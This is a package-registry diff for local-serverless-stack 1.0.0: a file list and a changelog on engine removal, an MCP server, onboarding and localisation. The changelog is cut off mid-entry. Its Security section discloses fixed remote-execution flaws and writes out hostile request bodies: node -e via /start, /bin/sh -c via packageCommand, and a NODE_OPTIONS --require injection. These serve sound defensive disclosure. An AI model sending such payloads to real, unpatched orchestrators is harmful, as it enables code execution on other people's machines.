local-serverless-stack 0.17.2 → 1.0.0
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/CHANGELOG.md +327 -0
- package/README.md +1150 -221
- package/assets/icon.svg +37 -0
- package/assets/logo.svg +38 -0
- package/bin/cli.js +384 -217
- package/bin/i18n.js +498 -0
- package/dist/client/config-discovery.d.ts.map +1 -1
- package/dist/client/config-discovery.js +2 -1
- package/dist/client/config-discovery.js.map +1 -1
- package/dist/client/http.d.ts +7 -0
- package/dist/client/http.d.ts.map +1 -1
- package/dist/client/http.js +3 -2
- package/dist/client/http.js.map +1 -1
- package/dist/client/lifecycle.d.ts +1 -4
- package/dist/client/lifecycle.d.ts.map +1 -1
- package/dist/client/lifecycle.js +2 -8
- package/dist/client/lifecycle.js.map +1 -1
- package/dist/client/namespaces/health.d.ts +1 -1
- package/dist/client/namespaces/health.d.ts.map +1 -1
- package/dist/client/namespaces/queues.d.ts.map +1 -1
- package/dist/client/namespaces/queues.js +9 -0
- package/dist/client/namespaces/queues.js.map +1 -1
- package/dist/client/namespaces/seeds.d.ts +1 -1
- package/dist/client/namespaces/services.d.ts +34 -0
- package/dist/client/namespaces/services.d.ts.map +1 -1
- package/dist/client/namespaces/services.js +3 -0
- package/dist/client/namespaces/services.js.map +1 -1
- package/dist/client/types.d.ts +17 -5
- package/dist/client/types.d.ts.map +1 -1
- package/dist/mcp/http.d.ts +15 -0
- package/dist/mcp/http.d.ts.map +1 -0
- package/dist/mcp/http.js +86 -0
- package/dist/mcp/http.js.map +1 -0
- package/dist/mcp/protocol.d.ts +36 -0
- package/dist/mcp/protocol.d.ts.map +1 -0
- package/dist/mcp/protocol.js +96 -0
- package/dist/mcp/protocol.js.map +1 -0
- package/dist/mcp/server.d.ts +7 -0
- package/dist/mcp/server.d.ts.map +1 -0
- package/dist/mcp/server.js +41 -0
- package/dist/mcp/server.js.map +1 -0
- package/dist/mcp/tools.d.ts +18 -0
- package/dist/mcp/tools.d.ts.map +1 -0
- package/dist/mcp/tools.js +323 -0
- package/dist/mcp/tools.js.map +1 -0
- package/dist/server/dev/dynamo-proxy.d.ts.map +1 -1
- package/dist/server/dev/dynamo-proxy.js +16 -2
- package/dist/server/dev/dynamo-proxy.js.map +1 -1
- package/dist/server/engine/backends/self-backend.d.ts +11 -2
- package/dist/server/engine/backends/self-backend.d.ts.map +1 -1
- package/dist/server/engine/backends/self-backend.js +42 -1
- package/dist/server/engine/backends/self-backend.js.map +1 -1
- package/dist/server/engine/dispatch/dispatcher.js +2 -2
- package/dist/server/engine/dispatch/dispatcher.js.map +1 -1
- package/dist/server/engine/engine-manager.d.ts +6 -1
- package/dist/server/engine/engine-manager.d.ts.map +1 -1
- package/dist/server/engine/engine-manager.js +30 -27
- package/dist/server/engine/engine-manager.js.map +1 -1
- package/dist/server/engine/http/is-aws-request.d.ts +8 -0
- package/dist/server/engine/http/is-aws-request.d.ts.map +1 -0
- package/dist/server/engine/http/is-aws-request.js +53 -0
- package/dist/server/engine/http/is-aws-request.js.map +1 -0
- package/dist/server/engine/http/router.d.ts.map +1 -1
- package/dist/server/engine/http/router.js +7 -1
- package/dist/server/engine/http/router.js.map +1 -1
- package/dist/server/engine/store/engine-store.d.ts +1 -0
- package/dist/server/engine/store/engine-store.d.ts.map +1 -1
- package/dist/server/engine/store/engine-store.js +2 -1
- package/dist/server/engine/store/engine-store.js.map +1 -1
- package/dist/server/engine/store/memory-store.d.ts +16 -0
- package/dist/server/engine/store/memory-store.d.ts.map +1 -0
- package/dist/server/engine/store/memory-store.js +167 -0
- package/dist/server/engine/store/memory-store.js.map +1 -0
- package/dist/server/engine/store/wal.d.ts +3 -0
- package/dist/server/engine/store/wal.d.ts.map +1 -1
- package/dist/server/engine/store/wal.js +35 -1
- package/dist/server/engine/store/wal.js.map +1 -1
- package/dist/server/index.js +159 -44
- package/dist/server/index.js.map +1 -1
- package/dist/server/routes/config.d.ts.map +1 -1
- package/dist/server/routes/config.js +25 -52
- package/dist/server/routes/config.js.map +1 -1
- package/dist/server/routes/lambdas.d.ts.map +1 -1
- package/dist/server/routes/lambdas.js +65 -0
- package/dist/server/routes/lambdas.js.map +1 -1
- package/dist/server/routes/services.d.ts.map +1 -1
- package/dist/server/routes/services.js +275 -24
- package/dist/server/routes/services.js.map +1 -1
- package/dist/server/services/bind-host.d.ts +30 -0
- package/dist/server/services/bind-host.d.ts.map +1 -0
- package/dist/server/services/bind-host.js +182 -0
- package/dist/server/services/bind-host.js.map +1 -0
- package/dist/server/services/cache-manager.d.ts +2 -1
- package/dist/server/services/cache-manager.d.ts.map +1 -1
- package/dist/server/services/cache-manager.js +4 -14
- package/dist/server/services/cache-manager.js.map +1 -1
- package/dist/server/services/config-manager.d.ts +28 -35
- package/dist/server/services/config-manager.d.ts.map +1 -1
- package/dist/server/services/config-manager.js +475 -189
- package/dist/server/services/config-manager.js.map +1 -1
- package/dist/server/services/dynamo-explorer.d.ts +1 -0
- package/dist/server/services/dynamo-explorer.d.ts.map +1 -1
- package/dist/server/services/dynamo-explorer.js +28 -6
- package/dist/server/services/dynamo-explorer.js.map +1 -1
- package/dist/server/services/explorer-region.d.ts +2 -0
- package/dist/server/services/explorer-region.d.ts.map +1 -0
- package/dist/server/services/explorer-region.js +23 -0
- package/dist/server/services/explorer-region.js.map +1 -0
- package/dist/server/services/gateway-manager.d.ts.map +1 -1
- package/dist/server/services/gateway-manager.js +18 -5
- package/dist/server/services/gateway-manager.js.map +1 -1
- package/dist/server/services/invocation-activity.d.ts +45 -0
- package/dist/server/services/invocation-activity.d.ts.map +1 -0
- package/dist/server/services/invocation-activity.js +102 -0
- package/dist/server/services/invocation-activity.js.map +1 -0
- package/dist/server/services/lambda-runtime-manager.d.ts +7 -1
- package/dist/server/services/lambda-runtime-manager.d.ts.map +1 -1
- package/dist/server/services/lambda-runtime-manager.js +118 -10
- package/dist/server/services/lambda-runtime-manager.js.map +1 -1
- package/dist/server/services/opensearch-explorer.d.ts.map +1 -1
- package/dist/server/services/opensearch-explorer.js +14 -10
- package/dist/server/services/opensearch-explorer.js.map +1 -1
- package/dist/server/services/project-scope.d.ts +2 -0
- package/dist/server/services/project-scope.d.ts.map +1 -0
- package/dist/server/services/project-scope.js +23 -0
- package/dist/server/services/project-scope.js.map +1 -0
- package/dist/server/services/queue-inspector.d.ts.map +1 -1
- package/dist/server/services/queue-inspector.js +15 -6
- package/dist/server/services/queue-inspector.js.map +1 -1
- package/dist/server/services/resource-provisioner.d.ts +0 -2
- package/dist/server/services/resource-provisioner.d.ts.map +1 -1
- package/dist/server/services/resource-provisioner.js +24 -14
- package/dist/server/services/resource-provisioner.js.map +1 -1
- package/dist/server/services/s3-explorer.js +3 -3
- package/dist/server/services/s3-explorer.js.map +1 -1
- package/dist/server/services/secrets-explorer.d.ts.map +1 -1
- package/dist/server/services/secrets-explorer.js +10 -3
- package/dist/server/services/secrets-explorer.js.map +1 -1
- package/dist/server/services/seed-manager.d.ts.map +1 -1
- package/dist/server/services/seed-manager.js +17 -8
- package/dist/server/services/seed-manager.js.map +1 -1
- package/dist/server/services/serverless-state-parser.d.ts +10 -0
- package/dist/server/services/serverless-state-parser.d.ts.map +1 -1
- package/dist/server/services/serverless-state-parser.js +20 -1
- package/dist/server/services/serverless-state-parser.js.map +1 -1
- package/dist/server/services/service-registrar.d.ts.map +1 -1
- package/dist/server/services/service-registrar.js +19 -5
- package/dist/server/services/service-registrar.js.map +1 -1
- package/dist/server/services/service-scanner.d.ts +20 -0
- package/dist/server/services/service-scanner.d.ts.map +1 -0
- package/dist/server/services/service-scanner.js +173 -0
- package/dist/server/services/service-scanner.js.map +1 -0
- package/dist/server/services/source-watcher.d.ts.map +1 -1
- package/dist/server/services/source-watcher.js +31 -6
- package/dist/server/services/source-watcher.js.map +1 -1
- package/dist/ui/assets/ApisPage-BOuimwWz.js +1 -0
- package/dist/ui/assets/BucketDetailPage-vLYwhoQt.js +1 -0
- package/dist/ui/assets/BucketsPage-Cu5lU1Hp.js +1 -0
- package/dist/ui/assets/DynamoPage-y3TTEPUL.js +1 -0
- package/dist/ui/assets/DynamoTablePage-BnmSRZjc.js +3 -0
- package/dist/ui/assets/LambdaDetailPage-B5q_d27t.js +4 -0
- package/dist/ui/assets/LambdasPage-CJpRoEDx.js +1 -0
- package/dist/ui/assets/OnboardingPage-D02dymQi.js +1 -0
- package/dist/ui/assets/OpenSearchCollectionPage-B_wWTlfL.js +1 -0
- package/dist/ui/assets/OpenSearchPage-BLEgfF_g.js +1 -0
- package/dist/ui/assets/{OverviewPage-DS6XJ7kG.css → OverviewPage-C1pBJ8aP.css} +1 -1
- package/dist/ui/assets/OverviewPage-EdJWiAt6.js +1 -0
- package/dist/ui/assets/QueueDetailPage-ByEYHvHe.js +1 -0
- package/dist/ui/assets/QueuesPage-CvwYHSll.js +1 -0
- package/dist/ui/assets/SecretsPage-DASw8Ntf.js +1 -0
- package/dist/ui/assets/ServiceDetailPage-BMsUDg6L.js +2 -0
- package/dist/ui/assets/ServicesPage-2JuiIiRr.js +2 -0
- package/dist/ui/assets/SettingsPage-DStO4bgN.js +1 -0
- package/dist/ui/assets/engine-D0mFFNbL.js +1 -0
- package/dist/ui/assets/index-BIEznsi4.js +37 -0
- package/dist/ui/assets/index-BRMvNP3Y.css +1 -0
- package/dist/ui/assets/onboarding-DQmlvyWU.js +1 -0
- package/dist/ui/assets/resourceIcons-baecADXA.js +1 -0
- package/dist/ui/assets/triggerIcons-DIPWQkJ3.js +1 -0
- package/dist/ui/favicon.svg +37 -0
- package/dist/ui/index.html +5 -3
- package/package.json +11 -11
- package/dist/server/engine/aoss-sidecar.d.ts +0 -13
- package/dist/server/engine/aoss-sidecar.d.ts.map +0 -1
- package/dist/server/engine/aoss-sidecar.js +0 -93
- package/dist/server/engine/aoss-sidecar.js.map +0 -1
- package/dist/server/engine/backends/localstack-backend.d.ts +0 -25
- package/dist/server/engine/backends/localstack-backend.d.ts.map +0 -1
- package/dist/server/engine/backends/localstack-backend.js +0 -199
- package/dist/server/engine/backends/localstack-backend.js.map +0 -1
- package/dist/server/engine/engine-backend.d.ts +0 -17
- package/dist/server/engine/engine-backend.d.ts.map +0 -1
- package/dist/server/engine/engine-backend.js +0 -7
- package/dist/server/engine/engine-backend.js.map +0 -1
- package/dist/server/services/localstack-manager.d.ts +0 -17
- package/dist/server/services/localstack-manager.d.ts.map +0 -1
- package/dist/server/services/localstack-manager.js +0 -31
- package/dist/server/services/localstack-manager.js.map +0 -1
- package/dist/ui/assets/ApisPage-CXYcWDhm.js +0 -1
- package/dist/ui/assets/BucketDetailPage-BwS2--Pe.js +0 -1
- package/dist/ui/assets/BucketsPage-khuiYc9C.js +0 -1
- package/dist/ui/assets/DynamoPage-aYo0QC0N.js +0 -1
- package/dist/ui/assets/DynamoTablePage-rFuV2pgd.js +0 -3
- package/dist/ui/assets/LambdaDetailPage-CJmu8M_N.js +0 -4
- package/dist/ui/assets/LambdasPage-DniNyKMe.js +0 -1
- package/dist/ui/assets/OpenSearchCollectionPage-BBwjgbB9.js +0 -1
- package/dist/ui/assets/OpenSearchPage-D5RxJGRo.js +0 -1
- package/dist/ui/assets/OverviewPage-Cyt1Xdp8.js +0 -1
- package/dist/ui/assets/QueueDetailPage-3FPsowIp.js +0 -1
- package/dist/ui/assets/QueuesPage-CUoDDgHr.js +0 -1
- package/dist/ui/assets/SecretsPage-B_mTnUf3.js +0 -1
- package/dist/ui/assets/ServiceDetailPage-BcdSjA6e.js +0 -2
- package/dist/ui/assets/ServicesPage-CU6fb3f8.js +0 -2
- package/dist/ui/assets/SettingsPage-BG8cYxgC.js +0 -1
- package/dist/ui/assets/index-BxwA-UT0.css +0 -1
- package/dist/ui/assets/index-DGsXIPJ-.js +0 -37
- package/packages/serverless-plugin/README.md +0 -115
- package/packages/serverless-plugin/dist/index.d.ts +0 -2
- package/packages/serverless-plugin/dist/index.d.ts.map +0 -1
- package/packages/serverless-plugin/dist/index.js +0 -107
- package/packages/serverless-plugin/dist/index.js.map +0 -1
package/CHANGELOG.md
CHANGED
|
@@ -5,6 +5,333 @@ All notable changes to this project will be documented in this file.
|
|
|
5
5
|
The format is based on [Keep a Changelog](https://keepachangelog.com/en/1.0.0/),
|
|
6
6
|
and this project adheres to [Semantic Versioning](https://semver.org/spec/v2.0.0.html).
|
|
7
7
|
|
|
8
|
+
## [1.0.0] - 2026-07-31
|
|
9
|
+
|
|
10
|
+
**LSS runs on one engine.** The LocalStack backend is gone — not deprecated, removed. The self
|
|
11
|
+
engine, an in-process AWS emulator with no Docker, no container and no auth token, is what LSS is.
|
|
12
|
+
Migration guide: [docs/MIGRATION-v1.md](docs/MIGRATION-v1.md); for a project already on
|
|
13
|
+
`engine: "self"` it is a matter of deleting a few config keys.
|
|
14
|
+
|
|
15
|
+
The trigger was evidence, not preference. Both shipped LocalStack examples were run end to end
|
|
16
|
+
against the self engine first: `localstack-ultimate` (45 resources, `eu-west-1`) exercised REST
|
|
17
|
+
payload-v1 routes, a DynamoDB composite key + GSI + stream, SQS with DLQ redrive at
|
|
18
|
+
`maxReceiveCount: 3`, `SNS Publish` from a stream handler, an EventBridge bus with a pattern rule,
|
|
19
|
+
a `rate(2 minutes)` schedule, an S3 notification with a prefix filter and an OpenSearch Serverless
|
|
20
|
+
catalog — **every path fired, zero errors**. `localstack-free` added a REST v1 authorizer, an
|
|
21
|
+
httpApi v2 simple-response authorizer written in TypeScript, and a cross-service authorizer
|
|
22
|
+
resolved by ARN. Nothing the project supported on LocalStack needed LocalStack.
|
|
23
|
+
|
|
24
|
+
### Removed
|
|
25
|
+
- **The 0.x migration guards.** `engine: "localstack"` (file or `LSS_ENGINE`) and the retired
|
|
26
|
+
`--external` / `--pro` / `--self-engine` / `--localstack-token` flags no longer raise a dedicated
|
|
27
|
+
migration error — 1.0 has shipped, so an unknown key or flag is simply an unknown key or flag.
|
|
28
|
+
[docs/MIGRATION-v1.md](docs/MIGRATION-v1.md) still documents the move.
|
|
29
|
+
- **The LocalStack backend**: `src/server/engine/backends/localstack-backend.ts`,
|
|
30
|
+
`src/server/services/localstack-manager.ts`, `src/server/engine/aoss-sidecar.ts` and the
|
|
31
|
+
`EngineBackend` interface. `EngineManager` now owns the one engine.
|
|
32
|
+
- **Config keys**: `engine` (accepted only to reject a 0.x `"localstack"` with a migration error),
|
|
33
|
+
`mode`, `localstackPort`, `localstackEndpoint`, `localstackEdition`, `localstackVersion`,
|
|
34
|
+
`localstackImage`, `localstackAuthToken`, `services`, `aossSidecar`. Editing any of them through
|
|
35
|
+
`PUT /api/config` now answers `unknown config key`.
|
|
36
|
+
- **Env vars**: `LSS_LOCALSTACK_*`, `LOCALSTACK_AUTH_TOKEN`, `LSS_SERVICES`. `LSS_ENGINE` survives
|
|
37
|
+
only to reject `localstack`.
|
|
38
|
+
- **CLI flags**: `--self-engine`, `--external`, `--pro`, `--localstack-token`. Each exits 1 naming
|
|
39
|
+
the migration guide — checked before the already-running short-circuit, so a stale script fails
|
|
40
|
+
visibly instead of looking like a successful no-op.
|
|
41
|
+
- **API fields**: `GET /api/health` → `localstack` (use `engineRunning`); `GET /api/config` →
|
|
42
|
+
the `localstack` block, `aossSidecar` and `services`. `LssClient`: `HealthStatus.localstack` and
|
|
43
|
+
`lifecycle.start({ external, pro, localstackToken })`.
|
|
44
|
+
- **Examples**: `examples/localstack-free` and `examples/localstack-ultimate` (760 MB). Their raw
|
|
45
|
+
`AWS::ApiGatewayV2::*` cross-stack topology was preserved at
|
|
46
|
+
`tests/integration/fixtures/apigw-raw/`, where its end-to-end test still runs.
|
|
47
|
+
- **The `serverless-lss` plugin package** (`packages/serverless-plugin/`, published separately as
|
|
48
|
+
`serverless-lss`): services no longer announce themselves from inside `sls package` — a bare
|
|
49
|
+
`POST /api/services/register { servicePath }` is a complete registration, because the orchestrator
|
|
50
|
+
packages on demand (`autoPackage`) and reads the service name, `provider.region` and `custom.lss`
|
|
51
|
+
ports from the packaged `serverless-state.json` itself. Every `plugins: - serverless-lss` entry
|
|
52
|
+
and `custom.orchestrator` block is dead config; `custom.lss` stays, now read server-side. The npm
|
|
53
|
+
workspace, the publish lane, the CI typecheck and the example/fixture wiring all went with it.
|
|
54
|
+
- **`serverless-offline` compatibility**: `custom.serverless-offline.httpPort/lambdaPort` are no
|
|
55
|
+
longer read as port fallbacks (declare `custom.lss.apiPort`/`invokePort`), and nothing registers
|
|
56
|
+
on `sls offline` anymore — the retired plugin was the only piece that ever did. The LSS runtime
|
|
57
|
+
replaced offline's execution model back in 0.7.x; this removes the last vestige.
|
|
58
|
+
|
|
59
|
+
### Added
|
|
60
|
+
- **A live load panel on the Overview.** Which workers are actually resident (against the
|
|
61
|
+
`maxWarmWorkers` ceiling), what ran in the last 1/2/10 minutes, **how much of it overlapped**, and
|
|
62
|
+
what that costs the host — resident memory, free/total RAM, 1-minute load normalised by core
|
|
63
|
+
count. Backed by `GET /api/lambdas/activity` and a stack-wide, log-free ring of invocation spans
|
|
64
|
+
(`src/server/services/invocation-activity.ts`, capped at 1000): parallelism is reported as the
|
|
65
|
+
**peak** per time bucket, because an average hides exactly the burst that saturates a laptop. The
|
|
66
|
+
timeline puts service identity on the row axis rather than on colour (a 40-service monorepo has no
|
|
67
|
+
readable categorical palette), and a failed invocation carries a shape marker and a counted label
|
|
68
|
+
as well as the status colour — red/green sit at ΔE 4.4 under deuteranopia, so colour alone would
|
|
69
|
+
hide every error from a colourblind reader.
|
|
70
|
+
- **One port for everything.** The dashboard, the REST API **and the AWS wire protocols** share one
|
|
71
|
+
listener on `14566` by default: requests carrying positive AWS evidence (SigV4 `Authorization`,
|
|
72
|
+
`X-Amz-Target`, any `x-amz-*` header, engine paths like `/_aoss` or `/2015-03-31/`) are demuxed to
|
|
73
|
+
the engine, everything else to the dashboard/API. Setting `selfEngine.port` different from
|
|
74
|
+
`serverPort` splits them back into two listeners. `AWS_ENDPOINT`, the dashboard URL and the
|
|
75
|
+
registration URL are now the same string.
|
|
76
|
+
- **Guided onboarding.** First dashboard visit with no services registered opens a 3-step flow —
|
|
77
|
+
ports, branding (applied live), then a project scan where you tick services and take them from
|
|
78
|
+
freshly cloned to registered without a terminal: **Install selected** (`POST
|
|
79
|
+
/api/services/install`, default `npm install`, first token whitelisted), **Package selected**
|
|
80
|
+
(`POST /api/services/package`, the effective package command) and **Register selected**.
|
|
81
|
+
Per-service API/invoke ports and package commands are editable inline and persist to
|
|
82
|
+
`lss.config.json` as `serviceRuntime`/`servicePackaging` entries — `updateConfig` now merges
|
|
83
|
+
map blocks **per entry**, so saving one field never drops that entry's or another service's
|
|
84
|
+
siblings. Reopenable anytime from Settings. This is the plugin's replacement for humans.
|
|
85
|
+
- **Three languages, dashboard and CLI**: English, Brazilian Portuguese and Spanish. The dashboard
|
|
86
|
+
follows a stored choice, else the browser (`pt` → `pt-BR`, `es-AR` → `es`), switchable from the ⋮
|
|
87
|
+
menu and remembered per browser; the CLI follows `LSS_LANG`, else `LC_ALL`/`LC_MESSAGES`/`LANG`.
|
|
88
|
+
Both layers are hand-rolled and dependency-free (`src/ui/src/i18n/`, `bin/i18n.js`) — LSS ships as
|
|
89
|
+
one npm package and a translation runtime is not a cost to put on every install. A missing key
|
|
90
|
+
falls back to English and then to the key itself, so an untranslated screen still renders. AWS
|
|
91
|
+
proper nouns, config keys, commands and flags are deliberately never translated. This also fixes a
|
|
92
|
+
smaller wart: parts of the CLI (the seed diagnostic, `lss scan`) printed Brazilian Portuguese
|
|
93
|
+
regardless of environment; the CLI is now English by default and Portuguese on request.
|
|
94
|
+
- **Official AWS service icons in the dashboard.** 64 marks from AWS's own **Architecture Service
|
|
95
|
+
Icons** pack (the 16 variant — `viewBox 0 0 24 24`, which is TreeUI's icon grid) are vendored as
|
|
96
|
+
geometry under `src/ui/src/icons/aws/` and registered into the TreeUI icon registry with
|
|
97
|
+
`registerTreeIcons()`, plus a `TIconRegistry` augmentation so `<TIcon name="aws-lambda" />`
|
|
98
|
+
typechecks like a built-in. 12 cover what LSS provides today (Lambda, DynamoDB, S3, SQS, SNS,
|
|
99
|
+
EventBridge, OpenSearch, Secrets Manager, API Gateway, CloudFormation, IAM — also standing for
|
|
100
|
+
STS — and CloudWatch — also standing for CloudWatch Logs); 52 more are a registered reserve. They
|
|
101
|
+
replace the generic glyphs on the sidebar, the Overview tiles and coverage rows, every
|
|
102
|
+
per-service resource breakdown, the Lambda trigger tags and each explorer's headers and empty
|
|
103
|
+
states — a screen listing eight AWS services no longer distinguishes them by a database/inbox/
|
|
104
|
+
target vocabulary. The artwork is an AWS trademark, reproduced unmodified and deliberately
|
|
105
|
+
theme-blind (`src/ui/src/icons/aws/NOTICE.md`); the ~41 MB pack is not committed, and
|
|
106
|
+
`npm run icons:aws` regenerates the checked-in output from it.
|
|
107
|
+
- **Service discovery**: `GET /api/services/scan` + `lss scan` walk the project root (depth ≤ 6,
|
|
108
|
+
dependency/build/VCS trees skipped, a service root is a leaf) and report every Serverless/osls
|
|
109
|
+
service with `installed`/`packaged`/`registered` flags, the effective ports and package command
|
|
110
|
+
(`serviceRuntime`/`servicePackaging` overlays win over the yml hints — the same precedence
|
|
111
|
+
registration applies) — hints only, the packaged state stays the authority at register time. `lss register [path...]` (defaults to
|
|
112
|
+
`.`) is the CLI replacement for automation; `LssClient.services.scan()` and the MCP tools
|
|
113
|
+
`lss_scan_services`/`lss_register_service` expose the same pair to code and to agents.
|
|
114
|
+
- **MCP server** (`lss mcp`, `src/mcp/`): the running stack as **25 tools** for any Model Context
|
|
115
|
+
Protocol client (Claude Code included) — inspect resources/queues/tables/buckets/secrets, scan
|
|
116
|
+
and register services, invoke Lambdas, send messages, block on `await-idle`. Hand-rolled JSON-RPC
|
|
117
|
+
2.0 over stdio, zero new dependencies, off until a client is configured ([docs/MCP.md](docs/MCP.md)).
|
|
118
|
+
- **Lambdas are lazy by default**: `lambdaRuntime.lazy` forks a worker on first invocation instead
|
|
119
|
+
of at registration, `idleTimeoutMs` (60 s) unloads it when quiet, `maxWarmWorkers` (one per GB of
|
|
120
|
+
RAM, clamped 2–12) caps residency. Measured on 40 services / 400 lambdas / 400 tables:
|
|
121
|
+
**2.0 GB → 128 MB** at rest, ~20 ms cold start. The host never chokes on a monorepo again; slow
|
|
122
|
+
is acceptable, swapping is not.
|
|
123
|
+
- **`LSS_ENGINE_DATA_DIR`**: the engine data directory as an env var, so each LSS instance gets its
|
|
124
|
+
own store with no config file. A second instance needs only
|
|
125
|
+
`LSS_DASHBOARD_PORT` + `LSS_ENGINE_PORT` + `LSS_ENGINE_DATA_DIR`.
|
|
126
|
+
|
|
127
|
+
### Changed
|
|
128
|
+
- **The integration suite runs everywhere.** It boots an isolated orchestrator on the self engine
|
|
129
|
+
instead of a LocalStack container, so it needs no Docker and no secret: **19 end-to-end
|
|
130
|
+
assertions in ~20 s**, unconditional locally and in CI. Under 0.x the same suite skipped itself
|
|
131
|
+
whenever the LocalStack auth token was absent — which was most of the time, meaning the project's
|
|
132
|
+
only end-to-end coverage usually did not run.
|
|
133
|
+
- OpenSearch Serverless is served natively by the engine on its own endpoint; the sidecar that
|
|
134
|
+
existed only because no LocalStack edition provides `aoss` is gone.
|
|
135
|
+
- `lambdaRuntime.invokeHost` defaults to `127.0.0.1` (nothing runs in a container).
|
|
136
|
+
- The dashboard, the CLI and every log line name the engine instead of LocalStack.
|
|
137
|
+
|
|
138
|
+
### Security
|
|
139
|
+
- **`POST /api/services/:name/start` was an arbitrary command runner — and it shipped.** This is not
|
|
140
|
+
a new-in-1.0 defect: the endpoint is present in **0.17.2 and every earlier release**, so any
|
|
141
|
+
install of those versions carries it. The handler read `command`, `args`, `cwd` and `env` straight
|
|
142
|
+
off the request body and passed them to `spawn()`; the only check was a four-entry command
|
|
143
|
+
allowlist that contained `node` and `npx`, and nothing at all validated the rest. So
|
|
144
|
+
`{"command":"node","args":["-e","<any JS>"],"cwd":"/"}` ran that JavaScript as the user running
|
|
145
|
+
the orchestrator, in any directory on the host, with an attacker-chosen environment — the classic
|
|
146
|
+
full-host compromise, not a sandbox escape. No caller ever sent those fields (the dashboard calls
|
|
147
|
+
`startService(name)` with no payload, and the CLI has no equivalent), so the whole input surface
|
|
148
|
+
was reachable only by an attacker. `args`, `cwd` and `env` are now **derived by the server**: a
|
|
149
|
+
start runs the registered service's own npm start script from the root recorded in that service's
|
|
150
|
+
cached metadata, and the command allowlist is package managers only — `node` and `npx` are gone,
|
|
151
|
+
since neither can express "run this service's start script" without also expressing "run this
|
|
152
|
+
arbitrary program". The request body no longer contributes argv, working directory or environment
|
|
153
|
+
at all, which is the only shape of this endpoint that is safe to expose on a port with no
|
|
154
|
+
authentication.
|
|
155
|
+
- **The orchestrator was reachable by anything, from anywhere.** It bound every interface
|
|
156
|
+
(`listen(PORT)` with no host argument) and answered every origin with
|
|
157
|
+
`Access-Control-Allow-Origin: *`, with no authentication on any route. That turned the endpoint
|
|
158
|
+
above from "local privilege you already had" into two remote paths: anyone on the same LAN, VPN or
|
|
159
|
+
hotel Wi-Fi could POST to it directly, and **any web page you happened to visit** could do it from
|
|
160
|
+
your own browser — a simple JSON `POST` clears the permissive preflight, and the service name it
|
|
161
|
+
needs is served, unauthenticated and cross-origin, by `GET /api/services`. The listener now binds
|
|
162
|
+
**`127.0.0.1` by default**, and CORS defaults to loopback origins (`http://localhost`,
|
|
163
|
+
`http://127.0.0.1`, `http://[::1]`, any port — the Vite dev dashboard is the only cross-origin
|
|
164
|
+
caller a default install has), so a page on the internet gets no CORS headers and its preflight
|
|
165
|
+
fails before the real request is ever sent. Requests without an `Origin` — curl, the CLI,
|
|
166
|
+
`LssClient`, the MCP server, an AWS SDK — are not browser cross-origin requests and are
|
|
167
|
+
unaffected. Both halves are **deliberately widenable**, because a loopback-only stack would break
|
|
168
|
+
the layout LSS is actually used in — see the next bullet. Both are env-only by design:
|
|
169
|
+
`PUT /api/config` can set neither, because widening a boundary through the API it protects would
|
|
170
|
+
hand the exposure back to whoever already reached the API.
|
|
171
|
+
- **New: `LSS_CORS_ORIGINS`, and `LSS_BIND_HOST` now means the whole process.** Hardening the
|
|
172
|
+
default is only half the job; the other half is that the safe default must have a documented way
|
|
173
|
+
out, or people paste `--disable-web-security` into a browser flag and everyone loses. The common
|
|
174
|
+
real layout is *LSS in a container, browser on the host, and the developer's own frontends calling
|
|
175
|
+
LSS directly* — inspecting queues, hitting the emulated API Gateway, invoking Lambdas. A loopback
|
|
176
|
+
bind refuses the published port, and a loopback-only origin list refuses the frontend. So the
|
|
177
|
+
opt-in is now **one coherent line** that turns network access on everywhere at once:
|
|
178
|
+
`LSS_BIND_HOST=0.0.0.0 LSS_CORS_ORIGINS='*' lss start` — or, better, with the origins named:
|
|
179
|
+
`LSS_CORS_ORIGINS=http://localhost:5173,http://192.168.1.20:5173`. `LSS_CORS_ORIGINS` takes a
|
|
180
|
+
comma-separated list of exact origins (case and trailing slash forgiven, since a hand-typed env
|
|
181
|
+
var that silently matches nothing is the worst failure mode for a knob whose job is to unblock a
|
|
182
|
+
frontend) or a single `*`; unset keeps the loopback default; setting it **replaces** that default
|
|
183
|
+
rather than extending it. `LSS_BIND_HOST` covers **every** listener the process opens — the
|
|
184
|
+
orchestrator, each service's API Gateway and Lambda Invoke API port, the split-listener engine and
|
|
185
|
+
the DynamoDB proxy — so widening is one decision, not four, and there is no half-open state where
|
|
186
|
+
the dashboard is fenced and the invoke ports are not. Boot prints a single warning naming whichever
|
|
187
|
+
knobs were widened and how to undo them; an explicit origin list prints nothing, because naming
|
|
188
|
+
your callers is the outcome the variable is trying to encourage. What widening costs is now a
|
|
189
|
+
bounded, statable thing: an unauthenticated API on the network, where callers can read and write
|
|
190
|
+
your local emulator data and read secret values out of the emulated Secrets Manager. The
|
|
191
|
+
arbitrary-binary paths are gone in this same release — `/start` derives argv, cwd and env
|
|
192
|
+
server-side, `/install` is shape- and flag-allowlisted, and `packageCommand`/`packageArgs` must
|
|
193
|
+
match the packaging grammar — so the residual is data exposure in a local dev stack rather than a
|
|
194
|
+
shell on the host. It is not zero: a caller who can reach the API can still ask the project's own
|
|
195
|
+
build to run (`npm run <script>`, `serverless package`), which is why "a network you trust"
|
|
196
|
+
remains the actual precondition, not a formality.
|
|
197
|
+
- **`packageCommand`/`packageArgs` were an arbitrary binary with arbitrary argv, reachable through two unauthenticated calls.** The
|
|
198
|
+
`/start` and `/install` allowlists above closed two doors on the same room and left a third open.
|
|
199
|
+
`PUT /api/config` validated `packageCommand` as `{ kind: 'string' }` — non-empty, nothing else —
|
|
200
|
+
for the global key **and** for every `servicePackaging[*].packageCommand` override.
|
|
201
|
+
`getPackageConfigForService()` handed the value to `runServerlessPackage()`, which tokenises it
|
|
202
|
+
and calls `spawn(firstToken, restTokens)`. So
|
|
203
|
+
`PUT /api/config {"packageCommand":"/bin/sh","packageArgs":["-c","<anything>"]}` followed by one
|
|
204
|
+
`POST /api/services/package {"servicePath":"<any dir under the project root>"}` ran any binary
|
|
205
|
+
with any argv as the user running the orchestrator — the same class as the `/start` defect,
|
|
206
|
+
through a different door, which is exactly what made the other two allowlists worth nothing on
|
|
207
|
+
their own. `packageEnv` was the same hole in miniature:
|
|
208
|
+
`{"NODE_OPTIONS":"--require /tmp/x.js"}` injects code into an otherwise blameless
|
|
209
|
+
`npx serverless package`, because the runtime reads that variable before the program gets control.
|
|
210
|
+
**This is not new in 1.0.** The dedicated `POST /api/services/package` endpoint is (it ships in
|
|
211
|
+
this release), but the config plumbing behind it is not — verified against the released tree:
|
|
212
|
+
